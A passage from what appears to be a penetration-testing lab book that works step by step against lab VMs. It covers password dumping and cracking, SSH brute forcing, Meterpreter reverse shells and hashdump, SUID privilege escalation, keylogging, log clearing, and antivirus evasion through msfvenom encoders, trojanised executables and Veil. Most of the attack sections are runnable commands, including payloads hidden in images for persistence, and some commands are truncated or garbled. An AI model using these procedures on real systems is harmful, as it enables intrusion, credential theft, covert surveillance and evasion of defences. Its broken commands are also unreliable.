Let’s fire up our trusty friend MSF, search for
PostgreSQL password hashdump module and
point it towards our Metasploitable VM:
msfdb run
search type:auxiliary name:postgre
use auxiliary/scanner/postgres/postgres_hashdump
options
set RHOSTS 192.168.77.154
run
We see that this gives us the result of

postgres:md53175bce1d3201d16594cebf9d7eb3f9d.
Now, interestingly enough, if we try cracking
the password (which we’ll do in the very next
lab), it won’t work because the password
itself contains its type at the beginning
(MD5), so trying to crack the password as is
will fail until we remove those 3 characters.
There are many other tools that allow us to do

this, some designed to exploit only one
specific service, and there are many more
services that will allow us to dump a target
system’s passwords so we can attempt to
crack them. This was just one quick and easy
example to “get your feet wet.”
Tips and notes:

As always, you are encouraged to see
whether there are any other services on
Metasploitable from which you can get a
password dump.
Lab 31. Local
Password Cracking
Lab Objective:
Learn how to perform local password
cracking using John the Ripper.
Lab Purpose:
In this and the next lab, we’ll conclude our
exploitation efforts with the most time-
intensive (and often resource) attacks,
password cracking and brute forcing.
Lab Tool:
John the Ripper.
Lab Topology:
Lab Walk-Through:
Up to this point, we’ve mostly been gathering
various types of information, and its finally
time to put it all to use. Let’s go ahead and
take the password hash obtained in the
previous lab
(md53175bce1d3201d16594cebf9d7eb3f9d)
and see how we can crack it.
First, we need our tool of choice, John the

Ripper, so let’s make sure it’s installed on our
Kali VM:
apt update
apt install john
Now, JtR, as it’s commonly abbreviated,

prefers to take files as sources rather than CLI
arguments, so let’s send our password into a
file with the command:
echo “md53175bce1d3201d16594cebf9d7eb3f9d” >
password_hash
To speed things up, we’ll also create our own

wordlist with the commands:
echo postgre > passwords
echo postgresql >> passwords
echo postgrepostgre >> passwords
echo postgrespostgres >> passwords
This will create a file called passwords

containing all these words (postgre, etc.) in
new lines, one after the other.
Now, we can try attacking the hash using JtR:

john --format=Raw-MD5 --wordlist=passwords
password_hash
Now, if you try to do it like this, JtR will

complain . . . why? Well, remember from the
previous lab, we said that the password will
not work as is because its very first 3 letters
are actually just a designation of the hash’s
type, which in this case is MD5. I did this on
purpose to show you what happens if you
blindly follow instructions without thinking.
So, let’s fix the issue with the command:
echo “3175bce1d3201d16594cebf9d7eb3f9d” >
password_hash
This will overwrite the previous value in the

password_hash file. Now, to speed things up
a bit, let’s create a wordlist that we’ll use
against the password; we can run the
aforementioned command:
john --format=Raw-MD5 --wordlist=passwords
password_hash
And you see that we get a possible hit very

quickly. Depending on the password’s
complexity and the size of your wordlist, this
kind of attack can take hours, days, and even
longer than that, which is why we always
leave password-related attacks for the end.
We can now use this password to log into
PostgreSQL and read its entries, or try to
reuse the password and attempt, for example,
SSH login as the user postgres.
Tips and notes:

There is another much faster tool, but also a
lot more complicated to use, and it has certain
hardware requirements that not all machines
meet. The tool is called Hashcat, so try using
it on your Kali VM. As an added exercise,
see if you can build the tool from source as
that tends to make it work better.
Lab 32. Remote
Password Brute
Forcing
Lab Objective:
Learn how to perform remote password brute
forcing using THC-Hydra.
Lab Purpose:
This is the final lab in our password cracking
segment and one in which we’ll finally gain
access to a target machine.
Lab Tool:
THC-Hydra.
Lab Topology:
Lab Walk-Through:
What we’ll do in this lab is probably the most
intensive attack on a target and should be
done as a last resort. We’re going to take the
username values from our SMTP
enumeration lab, a wordlist with over 10
million potential passwords and launch this
attack against Metasploitable’s SSH service
on port 22. So, let’s do just that with the
commands:
cp /usr/share/wordlists/rockyou.txt .
echo postgrespostgres >> rockyou.txt
echo
“msfadmin\nbackup\nbin\ndaemon\ndistccd\nftp\ngames\ngnats\nirc\nlibu
data” > usernames
hydra -L usernames -P rockyou.txt 192.168.77.154 -t 4
ssh
Now, this attack will surely take hours, if not

days, and if you turn on Wireshark and
inspect the amount of traffic going from your
Kali to your Metasploitable, you will see just
how much traffic there is, and all of it is SSH
log-in attempts. Needless to say, pretty much
any defensive measure in place, or a decent
administrator, will pick this up and block
your IP address, which adds complexity to
the attack, making it last even longer. Not
only that, but due to the amount of traffic you
are directing to the target, you may cause a
Denial of Service (DoS) attack. That is why
we do these exercises within the safety
confines of our VM lab.
To make things faster, we can opt to use a

much more manageable wordlist, like the one
below:
echo
“postgrespostgres\nroot\ntoor\npassword\npassword123\nadmin\nmsfadmi
> passwords
then, launch the same attack again (first, we
need to stop the previous one by pressing
Ctrl+C on our keyboards):
hydra -L usernames -P passwords 192.168.77.154 -t 4 ssh
We get results within 1–2 minutes and can

now try logging into Metasploitable’s SSH
via the command:
ssh msfadmin@192.168.77.154
and input msfadmin when prompted for the

password. If SSH gives you an error, try with
this command instead:
ssh -oHostKeyAlgorithms=+ssh-dss
msfadmin@192.168.77.154
And voila, we got shell access via SSH
(literally “Secure Shell”) and can now
proceed to the next stage of a penetration test,
privilege escalation.
Tips and notes:

There are other tools, such as Medusa and
Ncrack that can facilitate remote password
brute forcing. Depending on the targeted
service, some of them are actually faster than
Hydra, so feel free to test that.
Lab 33. Password
Cracking Wrap-Up
Lab Objective:
Consolidating knowledge on password
attacks.
Lab Purpose:
Let’s look back at what we’ve learned
regarding password cracking and how we can
use it as a single “unit.”
Lab Tool:
Kali Linux.
Lab Topology:
VM for this lab.
Lab Walk-Through:
So, the topics we’ve covered with password
related attacks are password harvesting,
remote brute forcing and local cracking. Note
that some of these labels can be used
interchangeably, such as local brute forcing
or remote cracking, etc.
Let’s first do remote brute forcing against our

Windows VM’s SSH service. We’ll create a
password dictionary file and use Hydra
against the IEUser user like this:
echo “password\nPassword\nPassw0rd\nPassw0rd\!” >
passwords
hydra -l IEUser -P passwords -t4 192.168.77.156 ssh
And we get a hit. Now, we’ll use these

credentials to drop off a Meterpreter shell
payload on the target using SCP (Secure
CoPy), which facilitates SSH.
scp meterpreter.exe
IEUser@192.168.77.156:/cygdrive/c/Users/Public/Documents/
Passw0rd!
We can verify that the file is there either by

going over to Windows and navigating via its
GUI or by logging into it from Kali via SSH
and our newfound credentials.
Then, we have to set up MSF as before:

msfdb run
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.77.128:80set LPORT 1234
run
Activate the meterpreter.exe either from

Windows or SSH, and our handler back in
MSF caught the connection.
Now, it’s time to harvest some passwords. To

do so, we first need to migrate our
Meterpreter process to another Windows
native. Let’s type:
ps
to look for explorer.exe. Identify its PID, then

type:
migrate 2804
Of course, the number will most likely be

different for you. Finally input:
hashdump
into MSF’s Meterpreter session, and you get

all of the passwords from our Windows 7 VM
target.
To close this off, we ought to crack the

passwords using John the Ripper like this:
copy/paste the hashdump into a new file; let’s

call it “hashes”
john --format=NT hashes
and wait for the tool to finish.

Now John immediately figured out some
passwords, but others actually do not exist in
its default wordlist/dictionary, so no matter
how long we wait, it will not be able to crack
them. If password cracking works, we can
use those results to escalate privileges, either
by moving up or, in case someone reused
their credentials on another machine,
laterally.
Tips and notes:

Do the same steps here but instead of JtR, use
Hashcat, and see how its syntax will change
due to a new hash type.
Lab 34. Local
Vulnerability
Exploitation
Lab Objective:
Learn how to perform privilege escalation
from locally discovered vulnerabilities.
Lab Purpose:
Privilege escalation is the next step of a
penetration test. Once we’ve established
initial foothold in the exploitation phase, we
now have to look at ways to escalate our
privileges and become as powerful a user as
we possibly can on a given target.
Lab Tool:
LinEnum.
Lab Topology:
Lab Walk-Through:
Seeing how we already have shell access to
our target privilege escalation most
commonly revolves around using
misconfigured tools and services already
available on the target, and also applications
with known vulnerabilities, exploits for
which can be run locally to facilitate privesc.
To help us out in our endeavors, kind people

of the internet have devised multiple scripts
that analyze the target machine and tell us
about the most likely vector by which we can
achieve privilege escalation. One such script
is called LinEnum and can be found here
https://github.com/rebootuser/LinEnum.
We’re going to place it onto our Kali VM
with the commands:
vi linenum.sh
then copy/paste the contents of

https://raw.githubusercontent.com/rebootuser/LinEnum/m
(the “raw” version of the LinEnum.sh script).
Press Esc on your keyboard when done and
then:
:wq
to save and close Vim. Following that, we

need to send the script to Metasploitable:
scp -oHostKeyAlgorithms=+ssh-dss linenum.sh
msfadmin@192.168.77.154:/tmp
Now, to head over to Metasploitable:

ssh -oHostKeyAlgorithms=+ssh-dss
msfadmin@192.168.77.154
cd /tmp
chmod 777 linenum.sh
and run it:

./linenum.sh > linenum_results
You may have noticed a couple of things.
First, we’ve changed the directory into /tmp.
This is good practice because /tmp directory
on a Linux target is almost always available
to any and all users, so we can put files there
no matter our current user’s privileges and
play around with those files. Another useful
directory like this is /dev/shm. Then, we did
chmod 777. This is dangerous but allows us
to run our tool of choice, no matter our
current user. Make sure to remove the file or
change back its privileges once you’re done
pentesting. Finally, we’ve sent the output of
linenum.sh into linenum_results. We do these
kinds of things to make browsing the results
easier for us, seeing how some tools can
output so much it doesn’t fit a single screen,
so we stand to miss some key data.
Once LinEnum does its analysis, we can

peruse it with the command:
more linenum_results
and move through the file by pressing space

on our keyboards.
One of the things that may pique our interest

is this line:
Or this one:
Some other interesting findings:
And then we have:
And:
Now, we can have our pick, and I’m going to
go with SUID on /usr/bin/nmap. To exploit
these kinds of things, an excellent repository
is https://gtfobins.github.io/. To exploit this
bit of misconfiguration, type the following:
/usr/bin/nmap –interactive
!sh
id
And we see that our “effective user id” (euid)

is root, meaning we now have the highest
possible privileges on the target and can do
virtually anything we desire. It is crucial to
type the full path to Nmap in order to make
this privesc vector work.
Tips and notes:

Privilege escalation is quite different between
different OSs, so you’re strongly encouraged
to play around with Windows and other target
OSs. We can help you out a bit to simplify
Windows privesc by directing you to another
script akin to LinEnum, called PEASS-ng,
more specifically its “child” winPEAS, which
can be found on this URL:
https://github.com/carlospolop/PEASS-ng.
Lab 35. Executing
Local Apps
Lab Objective:
Learn how to run local apps on a Windows
target.
Lab Purpose:
We’ve already run some local apps on Linux
targets (remember using Nmap for privilege
escalation). In this lab, we’ll look at what’s
possible when it comes to running local apps
on a Windows target, the pros and cons as
well as comparing it to Linux.
Lab Tool:
Remote Desktop Protocol.
Lab Topology:
VM for this lab.
Lab Walk-Through:
To access our Windows 7 VM via SSH, we
need to do the following on our Kali box:
ssh IEUser@192.168.77.156
then, enter Passw0rd! when prompted for the

password. We now have SSH/shell access to
Windows. So, let’s try running some of the
commands we worked with on our
Metasploitable target:
id
whoami
pwd
ifconfig
We see that some work while others do not.
The answer to that is simple because
Windows and Linux share some commands
but not others. Now, at this point in time, all
we have is CLI access to Windows, and we
know that Windows has quite a powerful
GUI element to it as well. So, what happens
when we try to run a GUI tool such as
Notepad from our SSH CLI?
notepad.exe
You can use tab completion here, so typing

“notep” and then pressing the Tab key on
your keyboard will complete the command
for you. We notice that, after we press Enter,
nothing really happens. If we go over to
Windows VM to check whether Notepad had
started, we see it has not. So, this time, we
have been unsuccessful. Can we run Nbtstat
this way?
nbtstat.exe -A 192.168.77.156
Indeed, we can. These are clear shortcomings

when it comes to Windows, as we are unable
to run a significant number of apps. To
circumvent that, we can use Remote Desktop
Protocol (RDP) when it is available. To set it
up on our Windows 7 VM, do the following:
• Press the Start button, then type “remote

settings” (without quotation marks).
• Select Allow remote access to your
computer.
• In the System Properties window that
pops up, go to Remote, and then select
Allow connections from computers
running any version of Remote Desktop
(less secure).
• Click Ok.
• Press the Start button, then type
“firewall,” then select Windows
Firewall.
• Select Allow a program or feature
through Windows Firewall.
• Ensure Remote Desktop has free traffic in
both Home/Work (private) and public
networks.
Now, on Kali, let’s discover the RDP port:

nmap -Pn -p- -sS -T4 -reason -vvv 192.168.77.156
We see that the port is 3389, so to use it,

type:
apt update
apt install freerdp2-x11
xfreerdp /u:IEUser /p:Passw0rd! /v:192.168.77.156
Then lo and behold, we have GUI access to

our Windows 7 VM and can run any and all
apps we desire. Needless to say, if we type
cmd in the Start menu, we will have access to
Windows’ CLI as well.
Tips and notes:

We can do the same on Linux, and RDP’s
equivalent and most commonly found on
Linux targets is called Virtual Network
Computing (VNC). Since Metasploitable has
no GUI of its own, we cannot test this in our
lab, but feel free to use it when you encounter
it in the real world.
Lab 36. Keylogging
Lab Objective:
Learn how to perform keylogging.
Lab Purpose:
Keylogging is the act of capturing keyboard
inputs from a target machine. This is done in
order to potentially harvest credentials or see
the daily habits of a client.
Lab Tool:
Meterpreter.
Lab Topology:
VM for this lab.
Lab Walk-Through:
Now, while you can create a piece of
malware that is custom-made and unique,
whose sole purpose is to capture keystrokes,
that’s outside the scope of this lab. What
we’ll do instead is use keylogging capability
of an incredibly powerful payload called
Meterpreter. Meterpreter interacts with MSF
and gives us incredible utility. To create a
Meterpreter payload, we need to invoke the
following:
msfvenom -p windows/meterpreter/reverse_tcp -f exe -a
x86 --platform windows LHOST=192.168.77.128
LPORT=1234 -o meterpreter.exe
Now, we need to somehow get this file onto

our target Windows VM. So, on Kali and in
your present working directory, type:
Now, on Windows, using the web browser of

your choice, go to the URL:
http://192.168.77.128:80/meterpreter.exe.
Once that’s done, back on our Kali box, type:
msfdb run
set LHOST 192.168.77.128
set LPORT 1234
run
Now, go to Windows and run the downloaded

file. Back on Kali, you’ll see that we’ve
received a reverse shell labeled meterpreter.
We haven’t familiarized ourselves with any
tools recently, so let’s do so now, for old
time’s sake, by simply typing:
help
in the Meterpreter shell. The options are

numerous, but there’s one we’re particularly
interested in for the purpose of this lab, and
that is keyscan. To activate it type:
keyscan_start
in the Meterpreter shell. Now, head over to

Windows and start typing. Open some
programs, log into some social networks,
whatever comes to mind. When you’re done,
type:
keyscan_dump
and we see the keystrokes captured by

Meterpreter’s keylogging function. Since this
is just CLI output it might not be easy to
figure out what’s what, but with enough time
and practice, you’ll be able to read through
lines of text and figure out what’s what.
Tips and notes:

As practice, try to make so much keyboard
input that it cannot fit a single screen, then
see whether you can sift through all that in
search of key data. Additionally, you can
leave the keylogger running for hours if
persistence is achieved, even days on end,
essentially using it as a sort of spyware on the
target system.
Lab 37.
Steganography
Lab Objective:
Learn how to hide key data in inconspicuous
files.
Lab Purpose:
Steganography is the art (or technique) of
hiding critical information within seemingly
unimportant files. For those of you who’ve
watched the TV show Mr. Robot, it’s what
Elliot does to hide data within music CDs.
Lab Tool:
Steghide.
Lab Topology:
Lab Walk-Through:
Before anything, you’re going to be needing
an image file, a picture of some sort. Either
use your own or one that has no royalties
attached to it. After you get that, place it into
your present working directory, then type:
steghide --help
We see that Steghide is used to both embed

and extract data from a file. Besides that, it
can also just give us info on the target file.
Well, first, we have to embed, so let’s do just
that:
echo “This is my secret Passw0rd\!”>secret
steghide embed -ef secret -cf skyline.jpg -p
steganography_is_sneaky123
ls -lah
xdg-open skyline.jpg
To explain exactly what we’ve done, we have
first created a file called secret with its
contents being “This is my secret Passw0rd!”
(Notice how there’s no \, that’s due to
character escaping). Then, we’ve embedded
that file into a picture called skyline.jpg and
have assigned it the password of
steganography_is_sneaky123. Finally, we’ve
checked all files in our present working
directory and then opened the picture file.
Upon opening the picture (called cover file
by Steghide), we see no text from the
embedded file and no password is needed.
However, if we want to access the secret file,
we need the password, and the syntax looks
like this:
steghide extract -sf skyline.jpg -p
steganography_is_sneaky123 -xf extracted_secret
ls -lah
cat extracted_secret
cat secret
To explain, we’ve extracted from the
skyline.jpg file using the previously assigned
password and have created a new file called
extracted_secret to host our secret. Then,
we’ve checked our present working
directory’s content to confirm that the new
file indeed exists. Finally, we’ve printed out
the contents of both the original secret file
and the newly extracted one to confirm that
the contents are indeed the same.
Tips and notes:

Steghide works only with a handful of file
formats. There is another tool called
Stegsnow, which works with some others.
You’ll need to have mastery of both to be
able and cover a wide variety of formats so as
to have the ability and hide data in the most
inconspicuous way possible.
Lab 38. Clearing
Logs and Other
Tracks
Lab Objective:
Learn how to clean your tracks after a
successful exploitation.
Lab Purpose:
Every good hacker knows that it is paramount
to leave no tracks on your target. We, as
ethical hackers, need to emulate, as closely as
possible, the behavior of black-hat hackers,
so we too must cover our tracks and work to
be as stealthily as we can.
Lab Tool:
Meterpreter
Lab Topology:
VM for this lab.
Lab Walk-Through:
In order to clear some logs, we first have to
make some logs. So, let’s exploit our
Windows VM via the meterpreter.exe that
we’ve used in one of our previous labs. As
before, we have to set up MSF to “catch” our
reverse connection:
msfdb run
set LHOST 192.168.77.128
set LPORT 1234
run
Now, run the meterpreter.exe on Windows,

and we get out connection. View
Meterpreter’s help once more and then type
some commands, for example:
ls
pwd
cd ../Desktop
ls
cat Hacking.rtf
This is the file created in the keylogging lab.

cp Hacking.rtf Hacking2.rtf
rm Hacking2.rtf
edit Hacking.rtf
You can input any text you like here, just

make sure it’s within the file’s preexisting
body syntax.
:wq
upload skyline.jpg
This is the image from the steganography lab.

cd ../Downloads
execute -f 7z2107.exe
This is the executable for 7-Zip; you can see

it being run remotely from Meterpreter onto
Windows in the screenshot below.
Now, with this, we’ve created quite a bit of

noise on the target. We’ve even uploaded a
file that clearly was not there before, and
we’ve edited a preexisting file. Of course, we
won’t be able to undo those changes without
manually removing them, which is easy
enough if we backtrack our steps. However,
there’s still the issue of Windows log files;
they keep track of everything someone or
anyone has done on a particular system, and
the average user doesn’t concern themselves
with it. How do we delete those? Well,
luckily, we’ve been using the Meterpreter
shell, which has a built-in function to clear all
evidence, conveniently called clearev. To use
it, just type:
clearev
in the Meterpreter shell, a tandat’s it! Look at

how many log entries we’ve generated with
just a dozen of commands (and, of course, the
reverse shell connection itself).
Tips and notes:

Now, what happens if you cannot run a
Meterpreter shell on a target machine? Well,
in that case, you have to familiarize
yourselves with the target OS filesystem and
where the log files are stored. Not only that,
but you will likely be required to have the
highest possible privileges on a target in
order to be able and manually remove log
files.
Lab 39. Post-
Exploitation Wrap-
Up
Lab Objective:
A wrap-up on all of our post-exploitation
labs.
Lab Purpose:
In this lab, we’ll look at everything we’ve
learned with regards to post-exploitation,
starting from password attacks, over local
vulnerability exploitation, executing local
apps, keyloggers, and hiding files to clearing
logs.
Lab Tool:
Kali Linux.
Lab Topology:
You can use Kali and Windows 7 Linux in a
VM for this lab.
Lab Walk-Through:
So, let’s start everything in order. First, we
perform remote password brute force attacks
against Windows’ SSH service with the
command:
hydra -l IEUser -P passwords -t 4 192.168.77.156 ssh
while reusing the passwords file from our

previous labs, the one containing the word
“Passw0rd!.” We then send a meterpreter.exe
to Windows like this:
scp meterpreter.exe
IEUser@192.168.77.156:/cygdrive/c/Users/Public/Documents/
C:\Users\Public\Documents is the Windows

equivalent to Linux’ /tmp. We then set up
MSF to catch the Meterpreter’s reverse
connection:
msfdb run
set LHOST 192.168.77.128
set LPORT 1234
run
Then, SSH into Windows to run

meterpreter.exe:
ssh IEUser@192.168.77.156
Passw0rd!
./meterpreter.exe
Once the connection is established, check for

processes to migrate to, ideally something
like explorer.exe:
ps
migrate 2988
hashdump
Take the hashes, copy/paste them into a file

called “hashes,” and try cracking them using
JtR and a wordlist of your choice:
john --format=NT --
wordlist=/usr/share/wordlists/rockyou.txt hashes
While this completes, we’ll try escalating our

privileges in some other way. Remember that
as penetration testers, we have to be
thorough, so we cannot stop after finding just
one exploit. So, in Meterpreter, type:
background
search suggest
use post/multi/recon/local_exploit_suggester
set session 1
run
Wait for it to complete; this will attempt

several well-known post-
exploitation/privilege escalation vectors and
let you know which ones are likely to work.
We can (and you should) attempt to use all of
those, and to invoke any one of them, simply
type:
use exploit/windows/local/cve_2019_1458_wizardopium
options
then, set whatever is required, type:
run
and press Enter. It is not likely that every

single exploit will work, not that it will
achieve privilege escalation. All of these
exploits rely on using vulnerabilities found on
the target system, unpatched issues and
similar. Ultimately, we can type:
sessions 1
getuid
getsystem
getuid
to go back to Meterpreter shell and let it
perform its own attempts at privilege
escalation. We see that this quite easily gives
us NT AUTHORITY\SYSTEM privileges,
the highest possible on a Windows machine.
Now, we want to hide meterpreter.exe so that

if someone comes to look at the target
machine, they have no idea that it is there. On
our Kali box, type:
steghide embed -ef meterpreter.exe -cf 402xdrsbr2o51.jpg
-p steganography_is_sneaky123
I downloaded an 8k wallpaper in order to be

able and fit meterpreter.exe into it. We can
then send this file to Windows:
scp 402xdrsbr2o51.jpg
IEUser@192.168.77.156:”/cygdrive/c/Users/Public/Pictures/Sample\
Pictures”
and can now safely remove meterpreter.exe.

We know that, should we have need of it, we
will always have a hidden copy of
Meterpreter on the target system, just a single
Steghide extraction away.
Finally, it is time to clean up behind us so

let’s invoke:
clearev
exit
on Meterpreter, and we are done.
You may realize that not all of these

examples are exactly real-life applicable. It is
our intent to teach you principles and
concepts, a foundation for your knowledge
that you will then expand upon in more
realistic situations.
Tips and notes:

Try to do all of this but now against the
Metasploitable VM. Most commands are the
same, but you will have to make some
changes; it’s up to you to figure out where
and why.
Lab 40. Malware
Lab Objective:
Learn about different types of malware and
how we can create a basic one.
Lab Purpose:
While we’ve already worked with
MSFVenom, this time, the tool we’ll be using
in this lab, we’re going to dive deeper into its
functionality, as well as what exactly
malware, a trojan, a virus, etc., is.
Lab Tool:
MSFVenom.
Lab Topology:
Lab Walk-Through:
So first, a bit of theory: what is malware,
what are trojans, viruses, worms, and
ransomware? Well, all malicious software is
malware (MALicious + softWARE), and
trojans, viruses, worms and ransomware all
fall under that umbrella term. Trojans, in turn,
are all malware disguised to look like
legitimate, benevolent/useful software. Let’s
say you hide some exploit code within a
video game executable; that video game
executable becomes a Trojan horse for your
exploit code. Viruses are the type of malware
that cannot propagate on their own and
instead require user interaction to do so.
Worms, on the other hand, can propagate on
their own, and that’s the main difference
between the two. Ransomware is malware
designed with the specific purpose of
requesting ransom from you—most often in
the form of cryptocurrency payments. In
order to hold its sway over you, the
ransomware most commonly encrypts your
filesystem, rendering you unable to use it and
have access to your files.
With that out of the way, let’s look at our tool

of choice, MSFVenom, designed to help us
create malware without much knowledge of
computer programming. As always, let’s first
invoke its help menu:
msfvenom --help
and look at what options are available to us.

Because we’ll be covering malware in
somewhat greater depth, we’ll stick with only
the most basic options needed to create
functioning malware, and those are the
payload, LHOST and LPORT, the file format
and the output file. You remember the
command we used in the past:
x86 --platform windows LHOST=192.168.77.128
Here we went a bit overboard and used some

additional switches, but for the most basic of
malware, all we need are the -p, -f, LHOST,
LPORT and -o. Now, how do we know what
payload to use and what file type MSFVenom
can create? Simple, by typing:
msfvenom --list payloads
msfvenom --list formats
Now, the list of payloads is going to be

overwhelming, so it’s best to browse it like
this:
msfvenom --list payloads | grep windows
if we’re looking for Windows payloads, that
is. Note that it is important to select the
correct architecture for your target, x86 or
x64.
Now, before we wrap this up, there’s one

more thing to cover, and that is the difference
between inline and staged payloads. Inline
payloads look something like this:
windows/meterpreter_reverse_tcp
This means that the payload is self-contained.

Everything that should be in it (exploit
payload and shellcode) is a part of this single
payload, and because of that, they are
inherently more stable. However, they also
have a larger file size and will not always be
applicable because of that.
Staged payloads are divided into two parts:

stagers and stages. Stagers serve to establish
communication between our target and the
attacking machine and then download the
stages. Needless to say, because things are
split like this, the file size is much smaller. In
MSF and MSFVenom’s payload list, you can
recognize them because they are labeled like
this:
windows/meterpreter/reverse_tcp
Note the addition of a forward slash between

the words meterpreter and reverse_tcp.
Tips and notes:

See whether the labeling rules are the same
between Windows and Linux payloads in
MSFVenom. More specifically, pay attention
to their x86 and x64 designations.
Lab 41. MSFVenom
Encoders
Lab Objective:
Learn how to perform basic malware
obfuscation using MSFVenom.
Lab Purpose:
So, we’ve created our malware. However,
pretty much all Anti-Virus (AV) software
catches it, and we are unable to use it. What
do we do? Check it out in this lab.
Lab Tool:
MSFVenom.
Lab Topology:
Lab Walk-Through:
Remember how, in the firewall and IDS
evasion lab, we mentioned that most
defensive mechanisms work based on
signatures? That’s not always the case and is
an oversimplification, but it does form the
basis for things such as AV, anti-malware,
etc. Still, computers get infected even in this
day and age . . . how? That’s where
obfuscation techniques come into play, some
of which we’ll look into, for example,
encoders, the topic of this lab.
We’ve seen in MSFVenom’s help menu that

there is a line mentioning encoders.
We should further look into encoders with the
command:
msfvenom --list encoders
There is quite a lot of them, and they cannot

fit a single screen. However, MSFVenom
conveniently mentions which ones are the
most effective, with their Rank being set to
excellent. There are only two that fit this
designation, namely cmd/powershell_base64
and x86/shikata_ga_nai. For the purpose of
this lab, we’re going to look at the latter.
So, what do encoders actually do? Well, they

morph the code MSFVenom generates, trying
to make it as obscure and indiscernible from
the original as possible. Think of it like a
person putting on a mask, or even several
masks, in order to hide their identity. It’ll take
you at least some additional effort (depending
on the quality of the masks and their sheer
number) to figure out the true identity of the
person underneath all those masks.
The best way to check whether our malware

would trick any AV software is to send our
malware to a tool such as https://hybrid-
analysis.com/ or https://www.virustotal.com.
Note that both will save information on your
payload. So, if you think you’ve master
crafted something exquisite, it might not be
the best idea to upload it there. So, let’s send
our initial malware first and see what results
we get.
So, without any encoding 53 AVs detected

my malware. With just one iteration of
x86/shikata_ga_nai :
x86 --platform windows -e x86/shikata_ga_nai
LHOST=192.168.77.128 LPORT=1234 -o
meterpreter_e1.exe
the results were the same. Shikata ga nai is

very famous, so of course, most AVs worth
their salt will recognize it. However, if we
encode it 12 times with the command:
x86 --platform windows -e x86/shikata_ga_nai -i 12
LHOST=192.168.77.128 LPORT=1234 -o
meterpreter_e2.exe
we see that at least 1 less AV detected it, and

that means we’re on the right track! It is
indeed possible to fool a majority of AVs
even while just using MSFVenom’s encoders.
You can mix and match encoders, the number
of iterations, chain MSFVenom commands,
etc., in an effort to trick AVs into letting your
malware pass. You are strongly encouraged
to do so.
Tips and notes:

It is not necessary to create malware that
passes all AVs; it’s enough that it passes just
the one you’ve identified on your target.
Lab 42. Creating a
Trojan
Lab Objective:
Learn how to create a trojan using
MSFVenom.
Lab Purpose:
Now that we’ve seen how it may be possible
to trick an application such as an AV, let’s
see how we can trick fellow humans.
Lab Tool:
MSFVenom.
Lab Topology:
Lab Walk-Through:
We’ve had a lab on steganography, but an
exploit hidden like that is not a trojan. Why?
Well, because if someone opens the pictures,
we’ve hidden our exploit in, nothing will
happen; the exploit code will not execute.
With trojans, the intended consequence is that
the hidden code gets executed, so let’s see
how we can do just that.
We go back to MSFVenom’s help and check

out the line that mentions a template:
This option allows us to take a pre-existing

file and put our exploit into it. Now, this will
break the original/template, so if anyone tries
to run it—it will not work. But that’s fine
with us because, as soon as we get that shell
access, we can migrate our process and
ensure persistence in other ways. The person
that clicked on our trojan can just as well
delete it afterward, and all will be well from
our point of view. We now need an
inconspicuous executable, something like
notepad.exe, to hide out metasploit.exe within
it. How you choose to get notepad.exe is up
to you. I will simply copy it from my
Windows VM using scp.
scp
IEUser@192.168.77.156:/cygdrive/c/windows/notepad.exe
.
x86 --platform windows -e x86/shikata_ga_nai
LHOST=192.168.77.128 LPORT=1234 -x notepad.exe -o
notepad.exe
Now, when you look at that, with only this
simple obfuscation, we got it down to 17/68
AVs detecting our malware! So, imagine how
far you can go if you chain encoders and
obfuscate the malware further.
Tips and notes:

It is possible to ensure that the
original/template executable will work even
after we embed our exploit into it, but that
requires another switch, which we’ll look at
in a later lab.
Lab 43. Veil
Lab Objective:
Learn how to perform additional obfuscation
using Veil.
Lab Purpose:
Veil is a tool specifically designed to
facilitate evasion of defensive measures on
our ethical hacking targets.
Lab Tool:
Veil.
Lab Topology:
Lab Walk-Through:
Before anything, let’s make sure Veil is
installed and is the latest version on our Kali
box:
apt update
apt install veil
veil
This shows us a starting menu where we want

to select Evasion, so just type:
use 1
and press Enter.

This changes the menu a bit and gives us
additional options. Typing:
list
shows us the payloads available within Veil.

It’s clear that the selection is not as great as in
MSFVenom, but sometimes less is more.
Let’s select:
use c/meterpreter/rev_tcp.py
Immediately Veil shows us what options need

to be set for the payload to work, so let’s set
them:
set LHOST 192.168.77.128
generate
I named the file veil and, after pressing Enter

one last time, Veil tells us where the file has
been stored.
Now, to utilize this file, we need to invoke

the Metasploit Resource file like this:
msfconsole -r /var/lib/veil/output/handlers/veil_c.rc
This time we won’t be exploiting any target;
instead, we want to send our newly generated
executable from
/var/lib/veil/output/compiled/veil_c.exe to
VirusTotal and see how it fares against
various AVs.
We see that with no extra work, it already

passes more AVs than MSFVenom’s basic,
and even encoded payloads.
Tips and notes:

See if you can chain obfuscation in Veil the
way you can do so in MSFVenom. Try to
reduce the number of AVs that detect your
payload to around 10.
Lab 44. Malware
Wrap-Up
Lab Objective:
Consolidation of malware-related knowledge.
Lab Purpose:
Like in the previous wrap-up labs, we’re
going to look back at everything we’ve
learned pertaining to malware and work
towards creating as stealthy a malware as
possible.
Lab Tool:
MSFVenom.
Lab Topology:
Lab Walk-Through:
One very important thing we haven’t
mentioned this far is that, while you might
feel inclined and that it is the best course of
action to just have an undetectable malware
at the ready and use it in every situation,
regardless of the specific target technologies,
this is almost never a good idea. Instead, what
is considered best practice, is enumerating
your target thoroughly and then, based on that
information, creating only the bare minimum
necessary to achieve exploitation. The reason
for this approach is twofold: No1: it saves
time, simple tools, ideas and actions usually
take significantly less time than highly
complex ones, and No2: it allows you to
always have an “ace up your sleeve.” Let’s
say that, for example, you identified a
particular AV on a target, and you’ve created
malware that can bypass that AV but not
much else. The malware does its thing but, in
the process, you’ve sent it to VirusTotal in
order to check whether it’ll pass or not. Now,
VirusTotal has shared that signature with AV
vendors, and your malware no longer works.
You can add a bit of complexity to it, and it’ll
pass again, and so on. If you launch a highly
sophisticated malware immediately and its
specific signature gets flagged by AVs, you
are left with nothing that’ll work.
So, the goal here is to look back at everything

we’ve learned to do with MSFVenom, and
then some. We know that, in order to make a
working exploit, we need to select a payload
for the correct OS and architecture:
msfvenom --list payloads
as well as input appropriate LHOST and

LPORT parameters in order to be able and
catch the connection from the target to our
attacking machine:
msfvenom -p windows/x64/meterpreter/reverse_tcp
LHOST=192.168.77.128 LPORT=1234 -f exe -o
meterpreter.exe
We then know that encoders will help

obfuscate things a bit:
LHOST=192.168.77.128 LPORT=1234 -f exe -e
x86/shikata_ga_nai -i 5 -o encoded_meterpreter.exe
but even more than that, embedding the

exploit within a benevolent file, such as
calc.exe, makes it even more obfuscated:
LHOST=192.168.77.128 LPORT=1234 -f exe -x calc.exe
-o calc2.exe
However, we didn’t make the
original/base/template file retain its
functionality after it was merged with our
